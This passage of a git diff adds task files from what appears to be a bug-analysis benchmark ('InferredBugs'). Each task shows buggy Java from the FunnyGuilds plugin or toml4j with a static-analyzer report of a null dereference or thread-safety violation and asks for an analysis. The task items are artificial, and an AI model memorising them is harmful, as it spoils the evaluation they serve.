+        if (!GuildUtils.tagExists(args[0])) {
+            sender.sendMessage(messages.generalNoGuildFound);
+            return;
+        }
+
+        Guild guild = GuildUtils.byTag(args[0]);
+        if (guild.isBanned()) {
+            sender.sendMessage(messages.adminGuildBanned);
+            return;
+        }
+
+        long time = Parser.parseTime(args[1]);
+        if (time < 1) {
+            sender.sendMessage(messages.adminTimeError);
+            return;
+        }
+
+        long validity = guild.getValidity();
+        if (validity == 0) {
+            validity = System.currentTimeMillis();
+        }
+        
+        validity += time;
+        guild.setValidity(validity);
+
+        sender.sendMessage(messages.adminNewValidity.replace("{GUILD}", guild.getName()).replace("{VALIDITY}", Settings.getConfig().dateFormat.format(new Date(validity))));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `guild` last assigned on line 34 could be null and is dereferenced at line 35.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AxcValidity.execute(CommandSender,java.lang.String[])
+
+### Procedure Id:
+net.dzikoysk.funnyguilds.command.admin.AxcValidity.execute(org.bukkit.command.CommandSender,java.lan.99b5e612648dd0976869082e65691190
+
+### File:
+src/main/java/net/dzikoysk/funnyguilds/command/admin/AxcValidity.java
+
+### Key:
+AxcValidity.java|execute|NULL_DEREFERENCE
+
+### Node Key:
+cbf4abef6a7d17d1b80dfb598ec521f3
+
+### Hash:
+11b123da9e08198e0b1b1ee60fc1ba45
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4563/instruction.md b/inferredbugs-4563/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..32a7532af509bb8166e91689263342bb96a01948
--- /dev/null
+++ b/inferredbugs-4563/instruction.md
@@ -0,0 +1,159 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** FunnyGuilds
+**Bug ID:** 35
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.dzikoysk.funnyguilds.system.security;
+
+import net.dzikoysk.funnyguilds.basic.Guild;
+import net.dzikoysk.funnyguilds.basic.User;
+import net.dzikoysk.funnyguilds.basic.util.RegionUtils;
+import net.dzikoysk.funnyguilds.data.Settings;
+import org.bukkit.Bukkit;
+import org.bukkit.entity.Player;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public final class SecuritySystem {
+
+    private static SecuritySystem instance;
+    private final List<User> blocked;
+
+    public SecuritySystem() {
+        instance = this;
+        blocked = new ArrayList<>();
+    }
+
+    public static SecuritySystem getSecurity() {
+        if (instance == null) {
+            new SecuritySystem();
+        }
+        
+        return instance;
+    }
+
+    public boolean checkPlayer(Player player, Object... values) {
+        for (SecurityType type : SecurityType.values()) {
+            if (checkPlayer(player, type, values)) {
+                return true;
+            }
+        }
+        
+        return false;
+    }
+
+    public boolean checkPlayer(Player player, SecurityType type, Object... values) {
+        if (!Settings.getConfig().regionsEnabled) {
+            return false;
+        }
+        
+        if (isBanned(User.get(player))) {
+            return true;
+        }
+        
+        switch (type) {
+            case FREECAM:
+                Guild guild = null;
+                for (int i = 0; i < values.length; i++) {
+                    if (values[i] instanceof Guild) {
+                        guild = (Guild) values[i];
+                    }
+                }
+                
+                int dis = (int) RegionUtils.get(guild.getRegion()).getCenter().distance(player.getLocation());
+                if (dis < 6) {
+                    return false;
+                }
+                
+                for (Player w : Bukkit.getOnlinePlayers()) {
+                    if (w.isOp()) {
+                        w.sendMessage(SecurityUtils.getBustedMessage(player.getName(), "FreeCam"));
+                        w.sendMessage(SecurityUtils.getNoteMessage("Zaatakowal krysztal z odleglosci &c" + dis + " kratek"));
+                    }
+                }
+                
+                blocked.add(User.get(player));
+                return true;
+            case EVERYTHING:
+                break;
+            default:
+                break;
+        }
+        
+        return false;
+    }
+
+    public boolean isBanned(User user) {
+        return blocked.contains(user);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `get(guild.getRegion())` could be null and is dereferenced at line 59.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean SecuritySystem.checkPlayer(Player,SecurityType,java.lang.Object[])
+
+### Procedure Id:
+net.dzikoysk.funnyguilds.system.security.SecuritySystem.checkPlayer(org.bukkit.entity.Player,net.dzi.487f53a69d8d753bdcfb69413404e9e3
+
+### File:
+src/main/java/net/dzikoysk/funnyguilds/system/security/SecuritySystem.java
+
+### Key:
+SecuritySystem.java|checkPlayer|NULL_DEREFERENCE
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+e67934df2d0f9bc9c1493fe396506ad0
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4565/instruction.md b/inferredbugs-4565/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2a4f4bb70fdf36d36c59dea2d30fcc50d935be93
--- /dev/null
+++ b/inferredbugs-4565/instruction.md
@@ -0,0 +1,174 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** FunnyGuilds
+**Bug ID:** 51
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.dzikoysk.funnyguilds.basic.rank;
+
+import net.dzikoysk.funnyguilds.basic.guild.Guild;
+import net.dzikoysk.funnyguilds.basic.user.User;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+public class RankManager {
+
+    private static RankManager instance;
+    private final List<Rank> users = new ArrayList<>();
+    private final List<Rank> guilds = new ArrayList<>();
+
+    public RankManager() {
+        instance = this;
+    }
+
+    public static RankManager getInstance() {
+        if (instance == null) {
+            new RankManager();
+        }
+        return instance;
+    }
+
+    public void update(User user) {
+        if (!this.users.contains(user.getRank())) {
+            this.users.add(user.getRank());
+        }
+
+        synchronized (users) {
+            Collections.sort(users);
+        }
+
+        if (user.hasGuild()) {
+            update(user.getGuild());
+        }
+
+        for (int i = 0; i < users.size(); i++) {
+            Rank rank = users.get(i);
+            rank.setPosition(i + 1);
+        }
+    }
+
+    public void update(Guild guild) {
+        if (!this.guilds.contains(guild.getRank())) {
+            this.guilds.add(guild.getRank());
+        } else {
+            synchronized (guilds) {
+                Collections.sort(guilds);
+            }
+
+            for (int i = 0; i < guilds.size(); i++) {
+                Rank rank = guilds.get(i);
+                rank.setPosition(i + 1);
+            }
+        }
+    }
+
+    public User getUser(int i) {
+        if (i - 1 < this.users.size()) {
+            return (this.users.get(i - 1)).getUser();
+        }
+        return null;
+    }
+
+    public Guild getGuild(int i) {
+        if (i - 1 < this.guilds.size()) {
+            return (this.guilds.get(i - 1)).getGuild();
+        }
+        return null;
+    }
+
+    public int users() {
+        return this.users.size();
+    }
+
+    public int guilds() {
+        return this.guilds.size();
+    }
+
+    public void remove(User user) {
+        this.users.remove(user.getRank());
+
+        synchronized (users) {
+            Collections.sort(this.users);
+        }
+    }
+
+    public void remove(Guild guild) {
+        this.guilds.remove(guild.getRank());
+
+        synchronized (guilds) {
+            Collections.sort(this.guilds);
+        }
+
+    }
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `net.dzikoysk.funnyguilds.basic.rank.RankManager.remove` indirectly writes to field `guild.net.dzikoysk.funnyguilds.basic.guild.Guild.rank` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RankManager.remove(Guild)
+
+### Procedure Id:
+net.dzikoysk.funnyguilds.basic.rank.RankManager.remove(net.dzikoysk.funnyguilds.basic.guild.Guild):v.f3cc8c882bd1db8531341e9db67d80fa
+
+### File:
+src/main/java/net/dzikoysk/funnyguilds/basic/rank/RankManager.java
+
+### Key:
+RankManager.java|remove|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+ae4a6731a05a8c0265f29df68edf8c4e
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4591/instruction.md b/inferredbugs-4591/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c795eca594184ceaa1123fbf5494fe770e479614
--- /dev/null
+++ b/inferredbugs-4591/instruction.md
@@ -0,0 +1,113 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** FunnyGuilds
+**Bug ID:** 31
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.dzikoysk.funnyguilds.command.admin;
+
+import org.bukkit.Bukkit;
+import org.bukkit.command.CommandSender;
+
+import net.dzikoysk.funnyguilds.basic.Guild;
+import net.dzikoysk.funnyguilds.basic.util.GuildUtils;
+import net.dzikoysk.funnyguilds.command.util.Executor;
+import net.dzikoysk.funnyguilds.data.Messages;
+import net.dzikoysk.funnyguilds.data.configs.MessagesConfig;
+import net.dzikoysk.funnyguilds.system.ban.BanUtils;
+
+public class AxcUnban implements Executor {
+
+    @Override
+    public void execute(CommandSender sender, String[] args) {
+        MessagesConfig messages = Messages.getInstance();
+
+        if (args.length < 1) {
+            sender.sendMessage(messages.generalNoTagGiven);
+            return;
+        }
+
+        if (!GuildUtils.tagExists(args[0])) {
+            sender.sendMessage(messages.generalNoGuildFound);
+            return;
+        }
+
+        Guild guild = GuildUtils.byTag(args[0]);
+        if (!guild.isBanned()) {
+            sender.sendMessage(messages.adminGuildNotBanned);
+            return;
+        }
+
+        BanUtils.unban(guild);
+        sender.sendMessage(messages.adminGuildUnban.replace("{GUILD}", guild.getName()));
+        Bukkit.broadcastMessage(Messages.getInstance().broadcastUnban.replace("{GUILD}", guild.getName()).replace("{TAG}", guild.getTag()));
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `guild` last assigned on line 29 could be null and is dereferenced at line 30.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AxcUnban.execute(CommandSender,java.lang.String[])
+
+### Procedure Id:
+net.dzikoysk.funnyguilds.command.admin.AxcUnban.execute(org.bukkit.command.CommandSender,java.lang.S.920280e02eaaa61cc76da14d3c21ed72
+
+### File:
+src/main/java/net/dzikoysk/funnyguilds/command/admin/AxcUnban.java
+
+### Key:
+AxcUnban.java|execute|NULL_DEREFERENCE
+
+### Node Key:
+cbf4abef6a7d17d1b80dfb598ec521f3
+
+### Hash:
+3c954ea09a190808f8f454df5746c29c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4596/instruction.md b/inferredbugs-4596/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ead1d8705187a60111aa652c705659e7cb8909d0
--- /dev/null
+++ b/inferredbugs-4596/instruction.md
@@ -0,0 +1,145 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** FunnyGuilds
+**Bug ID:** 39
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.dzikoysk.funnyguilds.hook;
+
+import com.sk89q.worldguard.bukkit.WorldGuardPlugin;
+import com.sk89q.worldguard.protection.ApplicableRegionSet;
+import com.sk89q.worldguard.protection.flags.StateFlag;
+import com.sk89q.worldguard.protection.managers.RegionManager;
+import com.sk89q.worldguard.protection.regions.ProtectedRegion;
+import org.bukkit.Location;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public final class WorldGuardHook {
+    
+    private static WorldGuardPlugin worldGuard;
+    private static StateFlag noPointsFlag;
+
+    public static void initWorldGuard() {
+        WorldGuardHook.worldGuard = WorldGuardPlugin.inst();
+        noPointsFlag = new StateFlag("fg-no-points", false);
+        worldGuard.getFlagRegistry().register(noPointsFlag);
+    }
+
+    public static boolean isInNonPointsRegion(Location location) {
+        if (!isInRegion(location)) {
+            return false;
+        }
+        
+        for (ProtectedRegion region : getRegionSet(location)) {
+            if (region.getFlag(noPointsFlag) == StateFlag.State.ALLOW) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    public static boolean isInRegion(Location location) {
+        ApplicableRegionSet regionSet = getRegionSet(location);
+        if (regionSet == null) {
+            return false;
+        }
+
+        return regionSet.size() != 0;
+    }
+    
+    public static ApplicableRegionSet getRegionSet(Location location) {        
+        if (location == null || worldGuard == null) {
+            return null;
+        }
+        
+        RegionManager regionManager = worldGuard.getRegionManager(location.getWorld());
+        if (regionManager == null) {
+            return null;
+        }
+
+        return regionManager.getApplicableRegions(location);
+    }
+    
+    public static List<String> getRegionNames(Location location) {
+        if (!isInRegion(location)) {
+            return null;
+        }
+        
+        List<String> regionNames = new ArrayList<>();
+        getRegionSet(location).getRegions().forEach(r -> regionNames.add(r.getId()));
+        
+        return regionNames;
+    }
+    
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getRegionSet(location)` could be null and is dereferenced at line 66.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+List WorldGuardHook.getRegionNames(Location)
+
+### Procedure Id:
+net.dzikoysk.funnyguilds.hook.WorldGuardHook.getRegionNames(org.bukkit.Location):java.util.List.f809c7d36adff24686dbdd24b9c2cbac
+
+### File:
+src/main/java/net/dzikoysk/funnyguilds/hook/WorldGuardHook.java
+
+### Key:
+WorldGuardHook.java|getRegionNames|NULL_DEREFERENCE
+
+### Node Key:
+88a9d456c6c70359cc9430e108e79cdb
+
+### Hash:
+7a860fae24349ac7b257d65e651b68b7
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4597/instruction.md b/inferredbugs-4597/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5de1dea69006861fd3ce905c47c0b360f1a02a39
--- /dev/null
+++ b/inferredbugs-4597/instruction.md
@@ -0,0 +1,210 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** FunnyGuilds
+**Bug ID:** 52
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.dzikoysk.funnyguilds.basic.rank;
+
+import net.dzikoysk.funnyguilds.FunnyGuilds;
+import net.dzikoysk.funnyguilds.basic.guild.Guild;
+import net.dzikoysk.funnyguilds.basic.user.User;
+import net.dzikoysk.funnyguilds.data.configs.PluginConfiguration;
+import net.dzikoysk.funnyguilds.util.IntegerRange;
+import org.apache.commons.lang3.StringUtils;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class RankUtils {
+
+    public static String parseRank(User source, String var) {
+        if (! var.contains("TOP-")) {
+            return null;
+        }
+
+        int i = getIndex(var);
+
+        if (i <= 0) {
+            FunnyGuilds.getInstance().getPluginLogger().error("Index in TOP- must be greater or equal to 1!");
+            return null;
+        }
+
+        PluginConfiguration config = FunnyGuilds.getInstance().getPluginConfiguration();
+
+        if (var.contains("GTOP")) {
+            List<Guild> rankedGuilds = new ArrayList<>();
+
+            for (int in = 1; in <= RankManager.getInstance().guilds(); in++) {
+                Guild guild = RankManager.getInstance().getGuild(in);
+
+                if (guild != null && guild.getMembers().size() >= config.minMembersToInclude) {
+                    rankedGuilds.add(guild);
+                }
+            }
+
+            if (rankedGuilds.isEmpty() || i - 1 >= rankedGuilds.size()) {
+                return StringUtils.replace(var, "{GTOP-" + i + '}', FunnyGuilds.getInstance().getMessageConfiguration().gtopNoValue);
+            }
+            else {
+                Guild guild = rankedGuilds.get(i - 1);
+                int points = guild.getRank().getPoints();
+                String pointsFormat = config.gtopPoints;
+
+                if (!pointsFormat.isEmpty()) {
+                    pointsFormat = pointsFormat.replace("{POINTS-FORMAT}", IntegerRange.inRange(points, config.pointsFormat, "POINTS"));
+                    pointsFormat = pointsFormat.replace("{POINTS}", String.valueOf(points));
+                }
+
+                String guildTag = guild.getTag();
+
+                if (config.playerListUseRelationshipColors) {
+                    guildTag = StringUtils.replace(config.prefixOther, "{TAG}", guild.getTag());
+
+                    if (source != null && source.hasGuild()) {
+                        Guild sourceGuild = source.getGuild();
+
+                        if (sourceGuild.getAllies().contains(guild)) {
+                            guildTag = StringUtils.replace(config.prefixAllies, "{TAG}", guild.getTag());
+                        }
+                        else if (sourceGuild.getUUID().equals(guild.getUUID())) {
+                            guildTag = StringUtils.replace(config.prefixOur, "{TAG}", guild.getTag());
+                        }
+                    }
+                }
+
+                return StringUtils.replace(var, "{GTOP-" + i + '}', guildTag + pointsFormat);
+            }
+        }
+        else if (var.contains("PTOP")) {
+            User user = RankManager.getInstance().getUser(i);
+
+            if (user != null) {
+                int points = user.getRank().getPoints();
+                String pointsFormat = config.ptopPoints;
+
+                if (!pointsFormat.isEmpty()) {
+                    pointsFormat = pointsFormat.replace("{POINTS-FORMAT}", IntegerRange.inRange(points, config.pointsFormat, "POINTS"));
+                    pointsFormat = pointsFormat.replace("{POINTS}", String.valueOf(points));
+                }
+
+                return StringUtils.replace(var, "{PTOP-" + i + '}', (user.isOnline() ? config.ptopOnline : config.ptopOffline) + user.getName() + pointsFormat);
+            }
+            else {
+                return StringUtils.replace(var, "{PTOP-" + i + '}', FunnyGuilds.getInstance().getMessageConfiguration().ptopNoValue);
+            }
+        }
+
+        return null;
+    }
+
+    public static int getIndex(String var) {
+        StringBuilder sb = new StringBuilder();
+        boolean open = false;
+        boolean start = false;
+        int result = -1;
+
+        for (char c : var.toCharArray()) {
+            boolean end = false;
+
+            switch (c) {
+                case '{':
+                    open = true;
+                    break;
+                case '-':
+                    start = true;
+                    break;
+                case '}':
+                    end = true;
+                    break;
+                default:
+                    if (open && start) {
+                        sb.append(c);
+                    }
+            }
+
+            if (end) {
+                break;
+            }
+        }
+
+        try {
+            result = Integer.parseInt(sb.toString());
+        } catch(NumberFormatException e) {
+            FunnyGuilds.getInstance().getPluginLogger().parser(var + " contains an invalid number: " + sb.toString());
+        }
+
+        return result;
+    }
+
+    private RankUtils() { }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getInstance().getMessageConfiguration()` could be null and is dereferenced at line 41.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String RankUtils.parseRank(User,String)
+
+### Procedure Id:
+net.dzikoysk.funnyguilds.basic.rank.RankUtils.parseRank(net.dzikoysk.funnyguilds.basic.user.User,jav.0cc8a604fcaf246380a8633424c241d0
+
+### File:
+src/main/java/net/dzikoysk/funnyguilds/basic/rank/RankUtils.java
+
+### Key:
+RankUtils.java|parseRank|NULL_DEREFERENCE
+
+### Node Key:
+1d617bb7af4c8d230adfc4f3a2d4685e
+
+### Hash:
+2529863b027f9b7f3a4cee215eda8e90
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4599/instruction.md b/inferredbugs-4599/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8ed05dceddf7f08b509653179223ce5f1c61c379
--- /dev/null
+++ b/inferredbugs-4599/instruction.md
@@ -0,0 +1,174 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** FunnyGuilds
+**Bug ID:** 46
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package net.dzikoysk.funnyguilds.basic.rank;
+
+import net.dzikoysk.funnyguilds.basic.guild.Guild;
+import net.dzikoysk.funnyguilds.basic.user.User;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+public class RankManager {
+
+    private static RankManager instance;
+    private final List<Rank> users = new ArrayList<>();
+    private final List<Rank> guilds = new ArrayList<>();
+
+    public RankManager() {
+        instance = this;
+    }
+
+    public static RankManager getInstance() {
+        if (instance == null) {
+            new RankManager();
+        }
+        return instance;
+    }
+
+    public void update(User user) {
+        if (!this.users.contains(user.getRank())) {
+            this.users.add(user.getRank());
+        }
+
+        synchronized (users) {
+            Collections.sort(users);
+        }
+
+        if (user.hasGuild()) {
+            update(user.getGuild());
+        }
+
+        for (int i = 0; i < users.size(); i++) {
+            Rank rank = users.get(i);
+            rank.setPosition(i + 1);
+        }
+    }
+
+    public void update(Guild guild) {
+        if (!this.guilds.contains(guild.getRank())) {
+            this.guilds.add(guild.getRank());
+        } else {
+            synchronized (guilds) {
+                Collections.sort(guilds);
+            }
+
+            for (int i = 0; i < guilds.size(); i++) {
+                Rank rank = guilds.get(i);
+                rank.setPosition(i + 1);
+            }
+        }
+    }
+
+    public User getUser(int i) {
+        if (i - 1 < this.users.size()) {
+            return (this.users.get(i - 1)).getUser();
+        }
+        return null;
+    }
+
+    public Guild getGuild(int i) {
+        if (i - 1 < this.guilds.size()) {
+            return (this.guilds.get(i - 1)).getGuild();
+        }
+        return null;
+    }
+
+    public int users() {
+        return this.users.size();
+    }
+
+    public int guilds() {
+        return this.guilds.size();
+    }
+
+    public void remove(User user) {
+        this.users.remove(user.getRank());
+
+        synchronized (users) {
+            Collections.sort(this.users);
+        }
+    }
+
+    public void remove(Guild guild) {
+        this.guilds.remove(guild.getRank());
+
+        synchronized (guilds) {
+            Collections.sort(this.guilds);
+        }
+
+    }
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `net.dzikoysk.funnyguilds.basic.rank.RankManager.getInstance` reads without synchronization from `rank.RankManager.net.dzikoysk.funnyguilds.basic.rank.RankManager.instance`. Potentially races with write in method `RankManager.remove(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+RankManager RankManager.getInstance()
+
+### Procedure Id:
+net.dzikoysk.funnyguilds.basic.rank.RankManager.getInstance():net.dzikoysk.funnyguilds.basic.rank.Ra.316efd58fed690431da64d48608de793
+
+### File:
+src/main/java/net/dzikoysk/funnyguilds/basic/rank/RankManager.java
+
+### Key:
+RankManager.java|getInstance|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+6eacc752b8eac197ec5d789e67010165
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4623/instruction.md b/inferredbugs-4623/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a020371b8e4d7751d39208487ef94d3d9cf09efe
--- /dev/null
+++ b/inferredbugs-4623/instruction.md
@@ -0,0 +1,394 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** toml4j
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.moandjiezana.toml;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TemporaryFolder;
+
+import java.io.*;
+import java.text.SimpleDateFormat;
+import java.util.*;
+
+import static org.junit.Assert.assertEquals;
+
+public class TomlWriterTest {
+
+  @Rule
+  public TemporaryFolder testDirectory = new TemporaryFolder();
+
+  @Test
+  public void should_write_primitive_types() {
+    class TestClass {
+      public String aString;
+      int anInt;
+      protected float aFloat;
+      private double aDouble;
+      boolean aBoolean;
+      final int aFinalInt = 1; // Should be skipped
+      Date aDate;
+    }
+
+    TestClass o = new TestClass();
+    o.aString = "hello";
+    o.anInt = 4;
+    o.aFloat = 1.23f;
+    o.aDouble = -5.43;
+    o.aBoolean = false;
+
+    o.aDate = new Date();
+    String theDate = formatDate(o.aDate);
+
+    String output = new TomlWriter().write(o);
+    String expected = "aString = \"hello\"\n" +
+        "anInt = 4\n" +
+        "aFloat = 1.23\n" +
+        "aDouble = -5.43\n" +
+        "aBoolean = false\n" +
+        "aDate = " + theDate + "\n";
+
+    assertEquals(expected, output);
+  }
+
+  private String formatDate(Date date) {
+    // Copying the date formatting code from DateValueWriter isn't optimal, but
+    // I can't see any other way to check date formatting - the test gets
+    // run in multiple time zones, so we can't just hard-code a time zone.
+    String dateString = new SimpleDateFormat("yyyy-MM-dd'T'HH:m:ss").format(date);
+    Calendar calendar = new GregorianCalendar();
+    int tzOffset = (calendar.get(Calendar.ZONE_OFFSET) + calendar.get(Calendar.DST_OFFSET)) / (60 * 1000);
+    dateString += String.format("%+03d:%02d", tzOffset / 60, tzOffset % 60);
+
+    return dateString;
+  }
+
+  class SubChild {
+    int anInt;
+  }
+  class Child {
+    SubChild subChild;
+    int anInt;
+  }
+  class Parent {
+    Map<String, Object> aMap;
+    Child child;
+    boolean aBoolean;
+  }
+
+  private Parent buildNestedMap() {
+    Parent parent = new Parent();
+    parent.aMap = new LinkedHashMap<String, Object>();
+    parent.aMap.put("foo", 1);
+    parent.aMap.put("bar", "value1");
+    parent.aMap.put("baz.x", true);
+    parent.child = new Child();
+    parent.child.anInt = 2;
+    parent.child.subChild = new SubChild();
+    parent.child.subChild.anInt = 4;
+    parent.aBoolean = true;
+
+    return parent;
+  }
+
+  @Test
+  public void should_write_nested_map_with_default_indentation_policy() {
+    String output = new TomlWriter().write(buildNestedMap());
+    String expected = "aBoolean = true\n\n" +
+        "[aMap]\n" +
+        "foo = 1\n" +
+        "bar = \"value1\"\n" +
+        "\"baz.x\" = true\n\n" +
+        "[child]\n" +
+        "anInt = 2\n\n" +
+        "[child.subChild]\n" +
+        "anInt = 4\n";
+    assertEquals(expected, output);
+  }
+
+  @Test
